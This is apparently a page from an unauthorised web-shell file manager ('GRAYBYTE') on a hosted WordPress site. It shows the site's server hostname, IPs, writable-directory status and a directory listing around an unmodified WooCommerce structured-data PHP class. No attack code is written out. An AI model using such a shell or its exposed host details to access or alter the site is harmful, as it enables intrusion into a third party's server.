✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server366.web-hosting.com ​🇻​♯➤ 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 67.223.118.204 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.243
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/builxejc/public_html/wp-content/plugins/woocommerce/includes//class-wc-structured-data.php
<?php
/**
 * Structured data's handler and generator using JSON-LD format.
 *
 * When making changes to this file, please make sure to test the generated
 * markup with Schema Markup Validator and Google Search Console.
 * * https://validator.schema.org/
 * * https://search.google.com/test/rich-results
 *
 * @package WooCommerce\Classes
 * @since   3.0.0
 * @version 3.0.0
 */

use Automattic\WooCommerce\Enums\OrderStatus;
use Automattic\WooCommerce\Enums\ProductType;
use Automattic\WooCommerce\Enums\ProductStockStatus;

defined( 'ABSPATH' ) || exit;

/**
 * Structured data class.
 */
class WC_Structured_Data {

	/**
	 * Stores the structured data.
	 *
	 * @var array $_data Array of structured data.
	 */
	private $_data = array();

	/**
	 * Constructor.
	 */
	public function __construct() {
		// Generate structured data.
		add_action( 'woocommerce_before_main_content', array( $this, 'generate_website_data' ), 30 );
		add_action( 'woocommerce_breadcrumb', array( $this, 'generate_breadcrumblist_data' ), 10 );
		add_action( 'woocommerce_single_product_summary', array( $this, 'generate_product_data' ), 60 );
		add_action( 'woocommerce_email_order_details', array( $this, 'generate_order_data' ), 20, 3 );

		// Output structured data.
		add_action( 'woocommerce_email_order_details', array( $this, 'output_email_structured_data' ), 30, 3 );
		add_action( 'wp_footer', array( $this, 'output_structured_data' ), 10 );
	}

	/**
	 * Sets data.
	 *
	 * @param  array $data  Structured data.
	 * @param  bool  $reset Unset data (default: false).
	 * @return bool
	 */
	public function set_data( $data, $reset = false ) {
		if ( ! isset( $data['@type'] ) || ! preg_match( '|^[a-zA-Z]{1,20}$|', $data['@type'] ) ) {
			return false;
		}

		if ( $reset && isset( $this->_data ) ) {
			unset( $this->_data );
		}

		$this->_data[] = $data;

		return true;
	}

	/**
	 * Gets data.
	 *
	 * @return array
	 */
	public function get_data() {
		return $this->_data;
	}

	/**
	 * Structures and returns data.
	 *
	 * List of types available by default for specific request:
	 *
	 * 'product',
	 * 'review',
	 * 'breadcrumblist',
	 * 'website',
	 * 'order',
	 *
	 * @param  array $types Structured data types.
	 * @return array
	 */
	public function get_structured_data( $types ) {
		$data = array();

		// Put together the values of same type of structured data.
		foreach ( $this->get_data() as $value ) {
			$data[ strtolower( $value['@type'] ) ][] = $value;
		}

		// Wrap the multiple values of each type inside a graph... Then add context to each type.
		foreach ( $data as $type => $value ) {
			$data[ $type ] = count( $value ) > 1 ? array( '@graph' => $value ) : $value[0];
			$data[ $type ] = apply_filters( 'woocommerce_structured_data_context', array( '@context' => 'https://schema.org/' ), $data, $type, $value ) + $data[ $type ];
		}

		// If requested types, pick them up... Finally change the associative array to an indexed one.
		$data = $types ? array_values( array_intersect_key( $data, array_flip( $types ) ) ) : array_values( $data );

		if ( ! empty( $data ) ) {
			if ( 1 < count( $data ) ) {
				$data = apply_filters( 'woocommerce_structured_data_context', array( '@context' => 'https://schema.org/' ), $data, '', '' ) + array( '@graph' => $data );
			} else {
				$data = $data[0];
			}
		}

		return $data;
	}

	/**
	 * Get data types for pages.
	 *
	 * @return array
	 */
	protected function get_data_type_for_page() {
		$types   = array();
		$types[] = is_shop() || is_product_category() || is_product() ? 'product' : '';
		$types[] = is_shop() && is_front_page() ? 'website' : '';
		$types[] = is_product() ? 'review' : '';
		$types[] = 'breadcrumblist';
		$types[] = 'order';

		return array_filter( apply_filters( 'woocommerce_structured_data_type_for_page', $types ) );
	}

	/**
	 * Makes sure email structured data only outputs on non-plain text versions.
	 *
	 * @param WP_Order $order         Order data.
	 * @param bool     $sent_to_admin Send to admin (default: false).
	 * @param bool     $plain_text    Plain text email (default: false).
	 */
	public function output_email_structured_data( $order, $sent_to_admin = false, $plain_text = false ) {
		if ( $plain_text ) {
			return;
		}
		echo '<div style="display: none; font-size: 0; max-height: 0; line-height: 0; padding: 0; mso-hide: all;">';
		$this->output_structured_data();
		echo '</div>';
	}

	/**
	 * Sanitizes, encodes and outputs structured data.
	 *
	 * Hooked into `wp_footer` action hook.
	 * Hooked into `woocommerce_email_order_details` action hook.
	 */
	public function output_structured_data() {
		$types = $this->get_data_type_for_page();
		$data  = $this->get_structured_data( $types );

		if ( $data ) {
			echo '<script type="application/ld+json">' . wc_esc_json( wp_json_encode( $data, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ), true ) . '</script>'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
		}
	}

	/*
	|--------------------------------------------------------------------------
	| Generators
	|--------------------------------------------------------------------------
	|
	| Methods for generating specific structured data types:
	|
	| - Product
	| - Review
	| - BreadcrumbList
	| - WebSite
	| - Order
	|
	| The generated data is stored into `$this->_data`.
	| See the methods above for handling `$this->_data`.
	|
	*/

	/**
	 * Generates Product structured data.
	 *
	 * Hooked into `woocommerce_single_product_summary` action hook.
	 *
	 * @param WC_Product $product Product data (default: null).
	 */
	public function generate_product_data( $product = null ) {
		if ( ! is_object( $product ) ) {
			global $product;
		}

		if ( ! is_a( $product, 'WC_Product' ) ) {
			return;
		}

		$shop_name = get_bloginfo( 'name' );
		$shop_url  = home_url();
		$currency  = get_woocommerce_currency();
		$permalink = get_permalink( $product->get_id() );
		$image     = wp_get_attachment_url( $product->get_image_id() );

		$markup = array(
			'@type'       => 'Product',
			'@id'         => $permalink . '#product', // Append '#product' to differentiate between this @id and the @id generated for the Breadcrumblist.
			'name'        => wp_kses_post( $product->get_name() ),
			'url'         => $permalink,
			'description' => wp_strip_all_tags( do_shortcode( $product->get_short_description() ? $product->get_short_description() : $product->get_description() ) ),
		);

		if ( $image ) {
			$markup['image'] = $image;
		}

		// Declare SKU or fallback to ID.
		if ( $product->get_sku() ) {
			$markup['sku'] = $product->get_sku();
		} else {
			$markup['sku'] = $product->get_id();
		}

		// Prepare GTIN and load it if it's valid.
		$gtin = $this->prepare_gtin( $product->get_global_unique_id() );
		if ( $this->is_valid_gtin( $gtin ) ) {
			$markup['gtin'] = $gtin;
		}

		if ( '' !== $product->get_price() ) {
			// Assume prices will be valid until the end of next year, unless on sale and there is an end date.
			$price_valid_until = gmdate( 'Y-12-31', time() + YEAR_IN_SECONDS );

			if ( $product->is_type( ProductType::VARIABLE ) ) {
				$lowest  = $product->get_variation_price( 'min', true );
				$highest = $product->get_variation_price( 'max', true );

				$variation_prices = $product->get_variation_prices( true );

				if ( $lowest === $highest ) {
					$unit_price_spec = array(
						'@type'         => 'UnitPriceSpecification',
						'price'         => wc_format_decimal( $lowest, wc_get_price_decimals() ),
						'priceCurrency' => $currency,
						'validThrough'  => $price_valid_until,
					);
					if ( wc_tax_enabled() ) {
						$unit_price_spec['valueAddedTaxIncluded'] = 'incl' === get_option( 'woocommerce_tax_display_shop' );
					}
					$markup_offer = array(
						'@type'              => 'Offer',
						'priceSpecification' => array( $unit_price_spec ),
					);
				} else {
					$markup_offer = array(
						'@type'      => 'AggregateOffer',
						'lowPrice'   => wc_format_decimal( $lowest, wc_get_price_decimals() ),
						'highPrice'  => wc_format_decimal( $highest, wc_get_price_decimals() ),
						'offerCount' => count( $variation_prices['price'] ),
					);

					if ( $product->is_on_sale() ) {
						$lowest_child_sale_price = $product->get_variation_sale_price( 'min', true );
						foreach ( $variation_prices['sale_price'] as $variation_id => $variation_price ) {
							if ( $variation_price === $lowest_child_sale_price ) {
								break;
							}
						}
						$date_on_sale_to        = isset( $variation_id )
							? wc_get_product( $variation_id )->get_date_on_sale_to()
							: null;
						$sale_price_valid_until = $date_on_sale_to
							? gmdate( 'Y-m-d', $date_on_sale_to->getTimestamp() )
							: null;

						$sale_unit_price_spec = array(
							'@type'         => 'UnitPriceSpecification',
							'priceType'     => 'https://schema.org/SalePrice',
							'price'         => wc_format_decimal( $lowest_child_sale_price, wc_get_price_decimals() ),
							'priceCurrency' => $currency,
							'validThrough'  => $sale_price_valid_until ?? $price_valid_until,
						);
						if ( wc_tax_enabled() ) {
							$sale_unit_price_spec['valueAddedTaxIncluded'] = 'incl' === get_option( 'woocommerce_tax_display_shop' );
						}
						$markup_offer['priceSpecification'] = array( $sale_unit_price_spec );
					}
				}
			} elseif ( $product->is_type( ProductType::GROUPED ) ) {
				$tax_display_mode = get_option( 'woocommerce_tax_display_shop' );
				$child_ids        = $product->get_children();
				_prime_post_caches( $child_ids );
				$children       = array_filter( array_map( 'wc_get_product', $child_ids ), 'wc_products_array_filter_visible_grouped' );
				$price_function = 'incl' === $tax_display_mode ? 'wc_get_price_including_tax' : 'wc_get_price_excluding_tax';

				foreach ( $children as $child ) {
					if ( '' !== $child->get_regular_price() ) {
						$child_prices[] = $price_function( $child, array( 'price' => $child->get_regular_price() ) );
					}
					if ( '' !== $child->get_sale_price() ) {
						$child_sale_prices[] = $price_function( $child, array( 'price' => $child->get_sale_price() ) );
					}
				}
				if ( empty( $child_prices ) ) {
					$min_price = 0;
				} else {
					$min_price = min( $child_prices );
				}
				if ( empty( $child_sale_prices ) ) {
					$min_sale_price = 0;
				} else {
					$min_sale_price = min( $child_sale_prices );
				}

				$unit_price_specification = array(
					'@type'         => 'UnitPriceSpecification',
					'price'         => wc_format_decimal( $min_price, wc_get_price_decimals() ),
					'priceCurrency' => $currency,
					'validThrough'  => $price_valid_until,
				);
				if ( wc_tax_enabled() ) {
					$unit_price_specification['valueAddedTaxIncluded'] = 'incl' === $tax_display_mode;
				}
				if ( $product->is_on_sale() && $min_price !== $min_sale_price ) {
					// `priceType` should only be specified in prices which are not the current offer.
					// https://developers.google.com/search/docs/appearance/structured-data/merchant-listing#sale-pricing-example
					$unit_price_specification['priceType'] = 'https://schema.org/ListPrice';
				}
				$markup_offer = array(
					'@type'              => 'Offer',
					'priceSpecification' => array(
						$unit_price_specification,
					),
				);

				if ( $product->is_on_sale() && $min_price !== $min_sale_price ) {
					if ( $product->get_date_on_sale_to() ) {
						$sale_price_valid_until = gmdate( 'Y-m-d', $product->get_date_on_sale_to()->getTimestamp() );
					}

					// We add the sale price to the top of the array so it's the first offer.
					// See https://github.com/woocommerce/woocommerce/issues/55043.
					$grouped_sale_spec = array(
						'@type'         => 'UnitPriceSpecification',
						'price'         => wc_format_decimal( $min_sale_price, wc_get_price_decimals() ),
						'priceCurrency' => $currency,
						'validThrough'  => $sale_price_valid_until ?? $price_valid_until,
					);
					if ( wc_tax_enabled() ) {
						$grouped_sale_spec['valueAddedTaxIncluded'] = 'incl' === $tax_display_mode;
					}
					array_unshift( $markup_offer['priceSpecification'], $grouped_sale_spec );
				}
			} else {
				$tax_display_mode         = get_option( 'woocommerce_tax_display_shop' );
				$regular_price            = 'incl' === $tax_display_mode
					? wc_get_price_including_tax( $product, array( 'price' => $product->get_regular_price() ) )
					: wc_get_price_excluding_tax( $product, array( 'price' => $product->get_regular_price() ) );
				$unit_price_specification = array(
					'@type'         => 'UnitPriceSpecification',
					'price'         => wc_format_decimal( $regular_price, wc_get_price_decimals() ),
					'priceCurrency' => $currency,
					'validThrough'  => $price_valid_until,
				);
				if ( wc_tax_enabled() ) {
					$unit_price_specification['valueAddedTaxIncluded'] = 'incl' === $tax_display_mode;
				}
				if ( $product->is_on_sale() ) {
					// `priceType` should only be specified in prices which are not the current offer.
					// https://developers.google.com/search/docs/appearance/structured-data/merchant-listing#sale-pricing-example
					$unit_price_specification['priceType'] = 'https://schema.org/ListPrice';
				}
				$markup_offer = array(
					'@type'              => 'Offer',
					'priceSpecification' => array(
						$unit_price_specification,
					),
				);

				if ( $product->is_on_sale() ) {
					$sale_price = 'incl' === $tax_display_mode
						? wc_get_price_including_tax( $product, array( 'price' => $product->get_sale_price() ) )
						: wc_get_price_excluding_tax( $product, array( 'price' => $product->get_sale_price() ) );
					if ( $product->get_date_on_sale_to() ) {
						$sale_price_valid_until = gmdate( 'Y-m-d', $product->get_date_on_sale_to()->getTimestamp() );
					}

					// We add the sale price to the top of the array so it's the first offer.
					// See https://github.com/woocommerce/woocommerce/issues/55043.
					$simple_sale_spec = array(
						'@type'         => 'UnitPriceSpecification',
						'price'         => wc_format_decimal( $sale_price, wc_get_price_decimals() ),
						'priceCurrency' => $currency,
						'validThrough'  => $sale_price_valid_until ?? $price_valid_until,
					);
					if ( wc_tax_enabled() ) {
						$simple_sale_spec['valueAddedTaxIncluded'] = 'incl' === $tax_display_mode;
					}
					array_unshift( $markup_offer['priceSpecification'], $simple_sale_spec );
				}
			}

			if ( $product->is_in_stock() ) {
				$stock_status_schema = ( ProductStockStatus::ON_BACKORDER === $product->get_stock_status() ) ? 'BackOrder' : 'InStock';
			} else {
				$stock_status_schema = 'OutOfStock';
			}

			$markup_offer += array(
				'priceValidUntil' => $sale_price_valid_until ?? $price_valid_until,
				'availability'    => 'https://schema.org/' . $stock_status_schema,
				'url'             => $permalink,
				'seller'          => array(
					'@type' => 'Organization',
					'name'  => $shop_name,
					'url'   => $shop_url,
				),
			);
			if (
				( ! empty( $markup_offer['price'] ) ||
					! empty( $markup_offer['lowPrice'] ) ||
					! empty( $markup_offer['highPrice'] )
				) && empty( $markup_offer['priceCurrency'] )
			) {
				$markup_offer['priceCurrency'] = $currency;
			}

			$markup['offers'] = array( apply_filters( 'woocommerce_structured_data_product_offer', $markup_offer, $product ) );
		}

		if ( $product->get_rating_count() && wc_review_ratings_enabled() ) {
			$markup['aggregateRating'] = array(
				'@type'       => 'AggregateRating',
				'ratingValue' => $product->get_average_rating(),
				'reviewCount' => $product->get_review_count(),
			);

			// Markup 5 most recent rating/review.
			$comments = get_comments(
				array(
					'number'      => 5,
					'post_id'     => $product->get_id(),
					'status'      => 'approve',
					'post_status' => 'publish',
					'post_type'   => 'product',
					'parent'      => 0,
					'meta_query'  => array( // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query
						array(
							'key'     => 'rating',
							'type'    => 'NUMERIC',
							'compare' => '>',
							'value'   => 0,
						),
					),
				)
			);

			if ( $comments ) {
				$markup['review'] = array();
				foreach ( $comments as $comment ) {
					$markup['review'][] = array(
						'@type'         => 'Review',
						'reviewRating'  => array(
							'@type'       => 'Rating',
							'bestRating'  => '5',
							'ratingValue' => get_comment_meta( $comment->comment_ID, 'rating', true ),
							'worstRating' => '1',
						),
						'author'        => array(
							'@type' => 'Person',
							'name'  => get_comment_author( $comment ),
						),
						'reviewBody'    => get_comment_text( $comment ),
						'datePublished' => get_comment_date( 'c', $comment ),
					);
				}
			}
		}

		// Check we have required data.
		if ( empty( $markup['aggregateRating'] ) && empty( $markup['offers'] ) && empty( $markup['review'] ) ) {
			return;
		}

		$this->set_data( apply_filters( 'woocommerce_structured_data_product', $markup, $product ) );
	}

	/**
	 * Generates Review structured data.
	 *
	 * Hooked into `woocommerce_review_meta` action hook.
	 *
	 * @param WP_Comment $comment Comment data.
	 */
	public function generate_review_data( $comment ) {
		$markup                  = array();
		$markup['@type']         = 'Review';
		$markup['@id']           = get_comment_link( $comment->comment_ID );
		$markup['datePublished'] = get_comment_date( 'c', $comment->comment_ID );
		$markup['description']   = get_comment_text( $comment->comment_ID );
		$markup['itemReviewed']  = array(
			'@type' => 'Product',
			'name'  => get_the_title( $comment->comment_post_ID ),
		);

		// Skip replies unless they have a rating.
		$rating = get_comment_meta( $comment->comment_ID, 'rating', true );

		if ( $rating ) {
			$markup['reviewRating'] = array(
				'@type'       => 'Rating',
				'bestRating'  => '5',
				'ratingValue' => $rating,
				'worstRating' => '1',
			);
		} elseif ( $comment->comment_parent ) {
			return;
		}

		$markup['author'] = array(
			'@type' => 'Person',
			'name'  => get_comment_author( $comment->comment_ID ),
		);

		$this->set_data( apply_filters( 'woocommerce_structured_data_review', $markup, $comment ) );
	}

	/**
	 * Generates BreadcrumbList structured data.
	 *
	 * Hooked into `woocommerce_breadcrumb` action hook.
	 *
	 * @param WC_Breadcrumb $breadcrumbs Breadcrumb data.
	 */
	public function generate_breadcrumblist_data( $breadcrumbs ) {
		$crumbs = $breadcrumbs->get_breadcrumb();

		if ( empty( $crumbs ) || ! is_array( $crumbs ) ) {
			return;
		}

		$markup                    = array();
		$markup['@type']           = 'BreadcrumbList';
		$markup['itemListElement'] = array();

		foreach ( $crumbs as $key => $crumb ) {
			$markup['itemListElement'][ $key ] = array(
				'@type'    => 'ListItem',
				'position' => $key + 1,
				'item'     => array(
					'name' => $crumb[0],
				),
			);

			if ( ! empty( $crumb[1] ) ) {
				$markup['itemListElement'][ $key ]['item'] += array( '@id' => $crumb[1] );
			} elseif ( isset( $_SERVER['HTTP_HOST'], $_SERVER['REQUEST_URI'] ) ) {
				$current_url = set_url_scheme( 'http://' . wp_unslash( $_SERVER['HTTP_HOST'] ) . wp_unslash( $_SERVER['REQUEST_URI'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized

				$markup['itemListElement'][ $key ]['item'] += array( '@id' => $current_url );
			}
		}

		$this->set_data( apply_filters( 'woocommerce_structured_data_breadcrumblist', $markup, $breadcrumbs ) );
	}

	/**
	 * Generates WebSite structured data.
	 *
	 * Hooked into `woocommerce_before_main_content` action hook.
	 */
	public function generate_website_data() {
		$markup                    = array();
		$markup['@type']           = 'WebSite';
		$markup['name']            = get_bloginfo( 'name' );
		$markup['url']             = home_url();
		$markup['potentialAction'] = array(
			'@type'       => 'SearchAction',
			'target'      => home_url( '?s={search_term_string}&post_type=product' ),
			'query-input' => 'required name=search_term_string',
		);

		$this->set_data( apply_filters( 'woocommerce_structured_data_website', $markup ) );
	}

	/**
	 * Generates Order structured data.
	 *
	 * Hooked into `woocommerce_email_order_details` action hook.
	 *
	 * @param WP_Order $order         Order data.
	 * @param bool     $sent_to_admin Send to admin (default: false).
	 * @param bool     $plain_text    Plain text email (default: false).
	 */
	public function generate_order_data( $order, $sent_to_admin = false, $plain_text = false ) {
		if ( $plain_text || ! is_a( $order, 'WC_Order' ) ) {
			return;
		}

		$shop_name      = get_bloginfo( 'name' );
		$shop_url       = home_url();
		$order_url      = $sent_to_admin ? $order->get_edit_order_url() : $order->get_view_order_url();
		$order_statuses = array(
			OrderStatus::PENDING    => 'https://schema.org/OrderPaymentDue',
			OrderStatus::PROCESSING => 'https://schema.org/OrderProcessing',
			OrderStatus::ON_HOLD    => 'https://schema.org/OrderProblem',
			OrderStatus::COMPLETED  => 'https://schema.org/OrderDelivered',
			OrderStatus::CANCELLED  => 'https://schema.org/OrderCancelled',
			OrderStatus::REFUNDED   => 'https://schema.org/OrderReturned',
			OrderStatus::FAILED     => 'https://schema.org/OrderProblem',
		);

		$markup_offers = array();
		foreach ( $order->get_items() as $item ) {
			if ( ! apply_filters( 'woocommerce_order_item_visible', true, $item ) ) {
				continue;
			}

			$product        = $item->get_product();
			$product_exists = is_object( $product );
			$is_visible     = $product_exists && $product->is_visible();

			$markup_offers[] = array(
				'@type'              => 'Offer',
				'price'              => $order->get_line_subtotal( $item ),
				'priceCurrency'      => $order->get_currency(),
				'priceSpecification' => array(
					'price'            => $order->get_line_subtotal( $item ),
					'priceCurrency'    => $order->get_currency(),
					'eligibleQuantity' => array(
						'@type' => 'QuantitativeValue',
						'value' => apply_filters( 'woocommerce_email_order_item_quantity', $item->get_quantity(), $item ),
					),
				),
				'itemOffered'        => array(
					'@type' => 'Product',
					'name'  => wp_kses_post( apply_filters( 'woocommerce_order_item_name', $item->get_name(), $item, $is_visible ) ),
					'sku'   => $product_exists ? $product->get_sku() : '',
					'image' => $product_exists ? wp_get_attachment_image_url( $product->get_image_id() ) : '',
					'url'   => $is_visible ? get_permalink( $product->get_id() ) : get_home_url(),
				),
				'seller'             => array(
					'@type' => 'Organization',
					'name'  => $shop_name,
					'url'   => $shop_url,
				),
			);
		}

		$markup                       = array();
		$markup['@type']              = 'Order';
		$markup['url']                = $order_url;
		$markup['orderStatus']        = isset( $order_statuses[ $order->get_status() ] ) ? $order_statuses[ $order->get_status() ] : '';
		$markup['orderNumber']        = $order->get_order_number();
		$markup['orderDate']          = $order->get_date_created()->format( 'c' );
		$markup['acceptedOffer']      = $markup_offers;
		$markup['discount']           = $order->get_total_discount();
		$markup['discountCurrency']   = $order->get_currency();
		$markup['price']              = $order->get_total();
		$markup['priceCurrency']      = $order->get_currency();
		$markup['priceSpecification'] = array(
			'price'         => $order->get_total(),
			'priceCurrency' => $order->get_currency(),
		);
		if ( wc_tax_enabled() ) {
			$markup['priceSpecification']['valueAddedTaxIncluded'] = wc_prices_include_tax();
		}
		$markup['billingAddress']  = array(
			'@type'           => 'PostalAddress',
			'name'            => $order->get_formatted_billing_full_name(),
			'streetAddress'   => $order->get_billing_address_1(),
			'postalCode'      => $order->get_billing_postcode(),
			'addressLocality' => $order->get_billing_city(),
			'addressRegion'   => $order->get_billing_state(),
			'addressCountry'  => $order->get_billing_country(),
			'email'           => $order->get_billing_email(),
			'telephone'       => $order->get_billing_phone(),
		);
		$markup['customer']        = array(
			'@type' => 'Person',
			'name'  => $order->get_formatted_billing_full_name(),
		);
		$markup['merchant']        = array(
			'@type' => 'Organization',
			'name'  => $shop_name,
			'url'   => $shop_url,
		);
		$markup['potentialAction'] = array(
			'@type'  => 'ViewAction',
			'name'   => 'View Order',
			'url'    => $order_url,
			'target' => $order_url,
		);

		$this->set_data( apply_filters( 'woocommerce_structured_data_order', $markup, $sent_to_admin, $order ), true );
	}

	/**
	 * Check if a GTIN is valid.
	 * A valid GTIN is a string containing 8,12,13 or 14 digits.
	 *
	 * @see https://schema.org/gtin
	 * @param string $gtin The GTIN to check.
	 * @return bool True if valid. False otherwise.
	 */
	public function is_valid_gtin( $gtin ) {
		return is_string( $gtin ) && preg_match( '/^(\d{8}|\d{12,14})$/', $gtin );
	}

	/**
	 * Prepare a GTIN input removing everything except numbers.
	 *
	 * @param string $gtin The GTIN to prepare.
	 * @return string Empty string if no GTIN is provided or the string with the replacements.
	 */
	public function prepare_gtin( $gtin ) {
		if ( ! $gtin || ! is_string( $gtin ) ) {
			return '';
		}

		return preg_replace( '/[^0-9]/', '', $gtin );
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
abstracts
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
admin
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
blocks
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
cli
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
customizer
--
16 Jun 2026 10.17 AM
builxejc / builxejc
0755
data-stores
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
emails
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
export
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
gateways
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
import
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
integrations
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
interfaces
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
legacy
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
libraries
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
log-handlers
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
payment-tokens
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
product-usage
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
queue
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
react-admin
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
rest-api
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
shipping
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
shortcodes
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
theme-support
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
tracks
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
traits
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
walkers
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
wccom-site
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
widgets
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
class-wc-ajax.php
131.473 KB
5 May 2026 2.26 PM
builxejc / builxejc
0644
class-wc-auth.php
12.69 KB
30 Jul 2024 7.31 PM
builxejc / builxejc
0644
class-wc-autoloader.php
5.268 KB
6 Oct 2025 5.56 PM
builxejc / builxejc
0644
class-wc-background-emailer.php
4.677 KB
5 May 2026 2.26 PM
builxejc / builxejc
0644
class-wc-background-updater.php
3.452 KB
20 Aug 2020 11.18 PM
builxejc / builxejc
0644
class-wc-brands-brand-settings-manager.php
1.783 KB
23 Sep 2024 8.44 PM
builxejc / builxejc
0644
class-wc-brands-coupons.php
6.894 KB
21 Jan 2025 6.53 PM
builxejc / builxejc
0644
class-wc-brands.php
34.8 KB
19 Jan 2026 2.46 PM
builxejc / builxejc
0644
class-wc-breadcrumb.php
10.41 KB
23 Feb 2026 5.58 PM
builxejc / builxejc
0644
class-wc-cache-helper.php
12.792 KB
5 May 2026 2.26 PM
builxejc / builxejc
0644
class-wc-cart-fees.php
3.367 KB
26 Sep 2023 9.42 PM
builxejc / builxejc
0644
class-wc-cart-session.php
25.366 KB
30 Mar 2026 5.12 PM
builxejc / builxejc
0644
class-wc-cart-totals.php
28.479 KB
29 Jul 2025 12.34 PM
builxejc / builxejc
0644
class-wc-cart.php
75.572 KB
30 Mar 2026 5.12 PM
builxejc / builxejc
0644
class-wc-checkout.php
50.352 KB
5 May 2026 2.26 PM
builxejc / builxejc
0644
class-wc-cli.php
3.339 KB
1 Sep 2025 11.44 PM
builxejc / builxejc
0644
class-wc-comments.php
23.077 KB
23 Feb 2026 5.58 PM
builxejc / builxejc
0644
class-wc-countries.php
51.687 KB
5 May 2026 2.26 PM
builxejc / builxejc
0644
class-wc-coupon.php
44.637 KB
5 May 2026 2.26 PM
builxejc / builxejc
0644
class-wc-customer-download-log.php
3.371 KB
20 Aug 2020 11.18 PM
builxejc / builxejc
0644
class-wc-customer-download.php
10.339 KB
30 Jul 2024 7.31 PM
builxejc / builxejc
0644
class-wc-customer.php
33.277 KB
5 May 2026 2.26 PM
builxejc / builxejc
0644
class-wc-data-exception.php
1.29 KB
23 May 2018 7.30 PM
builxejc / builxejc
0644
class-wc-data-store.php
6.594 KB
19 Oct 2022 12.34 AM
builxejc / builxejc
0644
class-wc-datetime.php
2.256 KB
20 Apr 2022 6.50 AM
builxejc / builxejc
0644
class-wc-deprecated-action-hooks.php
6.588 KB
27 Feb 2024 6.59 PM
builxejc / builxejc
0644
class-wc-deprecated-filter-hooks.php
7.342 KB
30 Mar 2026 5.12 PM
builxejc / builxejc
0644
class-wc-discounts.php
36.644 KB
29 Jul 2025 12.34 PM
builxejc / builxejc
0644
class-wc-download-handler.php
28.372 KB
18 Dec 2024 10.19 PM
builxejc / builxejc
0644
class-wc-emails.php
39.638 KB
25 May 2026 2.01 PM
builxejc / builxejc
0644
class-wc-embed.php
4.24 KB
21 Jan 2025 6.53 PM
builxejc / builxejc
0644
class-wc-form-handler.php
48.171 KB
9 Mar 2026 4.07 PM
builxejc / builxejc
0644
class-wc-frontend-scripts.php
34.438 KB
5 May 2026 2.26 PM
builxejc / builxejc
0644
class-wc-geo-ip.php
30.429 KB
6 Oct 2025 5.56 PM
builxejc / builxejc
0644
class-wc-geolite-integration.php
1.988 KB
16 Jan 2020 6.10 AM
builxejc / builxejc
0644
class-wc-geolocation.php
11.464 KB
5 May 2026 2.26 PM
builxejc / builxejc
0644
class-wc-https.php
4.335 KB
20 Jun 2023 11.45 PM
builxejc / builxejc
0644
class-wc-install.php
116.715 KB
25 May 2026 2.01 PM
builxejc / builxejc
0644
class-wc-integrations.php
1.277 KB
20 Aug 2020 11.18 PM
builxejc / builxejc
0644
class-wc-log-levels.php
3.898 KB
30 Jan 2024 11.24 PM
builxejc / builxejc
0644
class-wc-logger.php
9.413 KB
23 Feb 2026 5.58 PM
builxejc / builxejc
0644
class-wc-meta-data.php
2.207 KB
20 Apr 2022 6.50 AM
builxejc / builxejc
0644
class-wc-order-factory.php
8.979 KB
5 May 2026 2.26 PM
builxejc / builxejc
0644
class-wc-order-item-coupon.php
4.077 KB
22 Dec 2021 12.24 AM
builxejc / builxejc
0644
class-wc-order-item-fee.php
9.988 KB
19 Jan 2026 2.46 PM
builxejc / builxejc
0644
class-wc-order-item-meta.php
5.803 KB
22 Dec 2021 12.24 AM
builxejc / builxejc
0644
class-wc-order-item-product.php
17.606 KB
5 May 2026 2.26 PM
builxejc / builxejc
0644
